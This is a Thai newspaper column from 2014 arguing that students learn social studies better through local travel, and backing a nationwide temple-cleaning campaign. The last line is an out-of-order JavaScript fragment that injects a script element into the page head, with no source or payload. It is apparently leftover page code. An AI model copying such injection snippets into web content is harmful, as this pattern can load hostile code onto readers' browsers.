มติชนรายวัน ฉบับประจำวันพุธที่ 24 กันยายน  2557

 

เรียนรู้โดยเดินทางท่องเที่ยว

           โรงเรียนในประเทศก้าวหน้าทางเทคโนโลยีที่การศึกษามีคุณภาพสูงทั่วโลก มีนักบริหารการศึกษาบอกว่าเขาไม่ตะบี้ตะบันเรียนทั้งวัน

           ภาคเช้า เรียนวิชาหลัก เช่น คณิตศาสตร์, วิทยาศาสตร์

           ภาคบ่าย จัดการเรียนการสอนในรูปแบบกิจกรรม เช่น สังคมศึกษา, ดนตรี, ศิลปะ

           ดนตรีและศิลปะ เรียนรู้ได้โดยกิจกรรม เป็นที่รับรู้และเข้าใจทั่วไป แต่สังคมศึกษา จะมีกิจกรรมยังไง? ตรงนี้เป็นปัญหา

           เพราะคนส่วนมากหรือเกือบทั้งหมด มีประสบการณ์แบบเดียวกัน คือต้องฟังครูพูดปาวๆตลอดปีตลอดชาติ แล้วจดหรือท่องหนังสือตาม เช่น ประวัติศาสตร์, ภูมิศาสตร์, ฯลฯ

           เดินทางท่องเที่ยวท้องถิ่นทั่วไทย เป็นกิจกรรมการเรียนรู้อย่างหนึ่งที่สำคัญมาก และอาจสำคัญมากกว่าในห้องเรียน

           เพราะในห้องเรียนไม่เห็นและไม่รู้สึกด้วยประสบการณ์ตรงที่มีต่อภูมิประเทศ เช่น แม่น้ำลำคลองหนองบึงบุ่งทาม, ภูเขา, ที่ราบ, ตลอดจนต้นไม้ใบหญ้าและสัตว์ต่างๆ นอกจากนั้นยังมีโบราณสถานในหมู่บ้าน, วัดวาอาราม

           ชื่อบ้านนามเมืองที่ศึกษาจากสถานที่จริงๆ ย่อมเป็นพื้นฐานประวัติศาสตร์ชุมชนท้องถิ่นนั้นๆ

           ปัญหาอยู่ที่ครูผู้สอนมีคุณภาพมากพอจะสอนให้รู้เรื่องราวเหล่านั้นได้หรือไม่?

           เพราะประสบการณ์ของครูมาอีกอย่างหนึ่ง คือ ท่องจำ ห้ามสงสัย ห้ามถาม ห้ามเถียง

           กิจกรรมเดินทางท่องเที่ยว เริ่มจากในชุมชนหมู่บ้าน ให้รู้ภูมิประเทศของท้องถิ่นตนก่อน แล้วค่อยขยายไกลออกไปเรื่อยๆ เท่าที่มีงบประมาณ

           อาจทำความสะอาดวัดวาอารามและสถานที่สาธารณะด้วยก็ได้ ถือเป็นคะแนนเพิ่มในวิชาสังคม

           “ทำวัดให้สะอาด” ขรรค์ชัย บุนปาน ชี้ทางบรรเทาทุกข์ให้รัฐบาลมอบหมายกระทรวงวัฒนธรรม (วธ.) ทำได้จริง แล้วทำได้ไม่ยาก

           “วัดสะอาดทั่วประเทศยิ่งดี ร่วมมือกันทำทั้งชาวบ้านและทหาร เพราะรัฐบาลมีกำลังทหารอยู่แล้วมิใช่หรือ?”

           วัดส่วนมากยังเป็นศูนย์กลางของชุมชน (แม้จะมีบางวัดไม่ไยดีชุมชนแล้ว เพราะประจบเศรษฐีจากเมืองดีกว่า) และเป็นแหล่งรวมศิลปวัฒนธรรมของชุมชนท้องถิ่น

           นับเป็นทุนวัฒนธรรมที่ประเมินค่ามิได้ ทั้งในแง่คุณค่าและมูลค่า เพราะเป็นทั้งแหล่งท่องเที่ยวและแหล่งเรียนรู้เชิงศิลปวัฒนธรรม

           ปัญหาอยู่ที่ส่วนมากแล้ววัดสกปรกรกรุงรังอย่างยิ่ง จนไม่น่าเข้าวัด

           ถ้า วธ. สร้างเครือข่ายกิจกรรมทำวัดให้สะอาดร่มเย็นได้ทั่วประเทศ ก็คุ้มแล้วกับช่วงเวลาสั้นๆของรัฐบาล (ตามที่สัญญาไว้)d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’);